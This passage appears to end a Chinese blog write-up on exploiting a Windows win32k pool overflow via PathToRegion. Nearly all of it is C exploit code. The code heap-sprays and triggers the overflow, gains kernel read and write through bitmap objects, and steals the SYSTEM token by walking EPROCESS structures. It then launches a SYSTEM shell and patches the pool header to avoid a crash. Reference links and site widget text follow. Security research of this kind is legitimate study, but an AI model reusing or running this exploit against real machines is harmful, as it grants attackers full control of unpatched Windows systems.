	for (int i = 0; i < dwRetBytes / sizeof(DriverBase[0]); i++) {
		if (!GetDeviceDriverBaseNameA(DriverBase[i], DriveName, 1023)) {
			printf("[-]: Faild to GetDeviceDriverBaseName!\n");
			return 0;
		}
		PCHAR str = strlwr(DriveName);
		if (str != NULL && (strcmp(str, "ntkrnlpa") == 0 || strstr(str, "ntkrnlpa"))) {
			hKernel = LoadLibraryA(DriveName);
			DWORD retVal= (DWORD)GetProcAddress(hKernel, "PsInitialSystemProcess") - (DWORD)hKernel + (DWORD)DriverBase[i];
			FreeLibrary(hKernel);
			return retVal;
		}
	}
}

VOID UpPrivilege()
{
	DWORD PsInitEproc = GetEprocessInKernelSpace();
	printf("[+] PsInitEprocess = %p\n", PsInitEproc);
	DWORD SysEprocess = 0;
	DWORD SysToken = 0;

	if (!ReadDword(PsInitEproc, &SysEprocess) || SysEprocess == 0)
	{
		printf("[-] Faild to ReadDword\n");
		return;
	}


	if (!ReadDword(SysEprocess + 0xF8, &SysToken) || SysToken==0)
	{
		printf("[-] Faild to ReadDword\n");
		return;
	}
	printf("[+] SysToken = %p\n", SysToken);

	LIST_ENTRY listNextEprocEntry = { 0 };
	DWORD dwNextEprocAddr = 0;
	DWORD dwCurrPid = GetCurrentProcessId();
	DWORD dwPid = 0;
	//获取下一个EPROCESS
	if (!ReadDword(SysEprocess + 0xB8, (PDWORD)&listNextEprocEntry) || *(PDWORD)&listNextEprocEntry ==NULL)
	{
		printf("[-] Faild to ReadDword\n");
		return;
	}

	do {
		dwNextEprocAddr = (DWORD)listNextEprocEntry.Flink - 0xB8;
		//读取当前EPROCESS下的pid
		if (!ReadDword(dwNextEprocAddr + 0xB4, &dwPid))
		{
			printf("[-] Faild to ReadDword\n");
			return;
		}
		//获取下一个EPROCESS
		if (!ReadDword(dwNextEprocAddr + 0xB8, (PDWORD)&listNextEprocEntry) || *(PDWORD)&listNextEprocEntry ==NULL)
		{
			printf("[-] Faild to ReadDword\n");
			return;
		}

	} while (dwCurrPid != dwPid);

	DWORD dwCurTokenAddr = (DWORD)dwNextEprocAddr + 0xF8;
	//修改当前进程的TOKEN
	if (WriteMem(dwCurTokenAddr, sizeof(DWORD), &SysToken))
	{
		system("cmd");
	}
	else {
		printf("[-] Faild to WriteMem\n");
		return;
	}
}

// 恢复被破坏的池头部,防止蓝屏
VOID Recover()
{
	DWORD Data[10] = { 0x46ac0146,0x35316847,g_RawDhSurf-1,0,0,0,0,g_RawDhSurf -1,0,0};
	WriteMem(g_RawPvScan0 - 0x115C, sizeof(Data), Data);
}

VOID Trigger()
{
	for (ULONG j = 0; j < CPT; j++)
	{	
		pt[j].x = CPT+1-j;
		if (j < NUM)
			pt[j].y = j + 1;
		else
			pt[j].y = 0x100;
		
	}

	HDC hDc = GetDC(NULL);
	if (hDc == NULL)
	{
		printf("[-] Line = %d: Failed to call CreateDC.\n", __LINE__);
		return;
	}

	if (!BeginPath(hDc))
	{
		printf("[-] Line = %d: Failed.\n", __LINE__);
		return;
	}

	for (LONG i = CPT; i > 0; i -= min(MAX_LIMIT, i))
	{
		//!Polyline(hDc, &pt[CPT - i], min(MAX_LIMIT, i))
		if (!PolylineTo(hDc, &pt[CPT - i], min(MAX_LIMIT, i)))
		{
			printf("[-] Line = %d: Failed.\n", __LINE__);
			return;
		}
	}

	if (!EndPath(hDc))
	{
		printf("[-] Line = %d: Failed to define path.\n", __LINE__);
		return;
	}

	HeapSpray();

	HRGN hRgn = PathToRegion(hDc);

	if (hRgn == NULL)
	{
		printf("[-] Line = %d: Failed to trigger.\n", __LINE__);
		return;
	}
}

VOID Exploit()
{
	Trigger();
	if (!FindOutWorkerAndManager())
	{
		printf("[-] Line = %d: Failed.\n", __LINE__);
		return;
	}
	printf("[+] hManager: %p, hWorker: %p\n",g_hManager,g_hWorker);
	
	UpPrivilege();

	Recover();
}

int main(int argc, char** argv)
{
	Exploit();
	system("pause");
	return 0;
}

4.演示

在这里插入图片描述

参考

[1] https://blog.csdn.net/love_xsq/article/details/53635163

[2] https://www.anquanke.com/post/id/93105

[3] https://paper.seebug.org/579/

[4] https://paper.seebug.org/580/

[5] https://paper.seebug.org/581/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值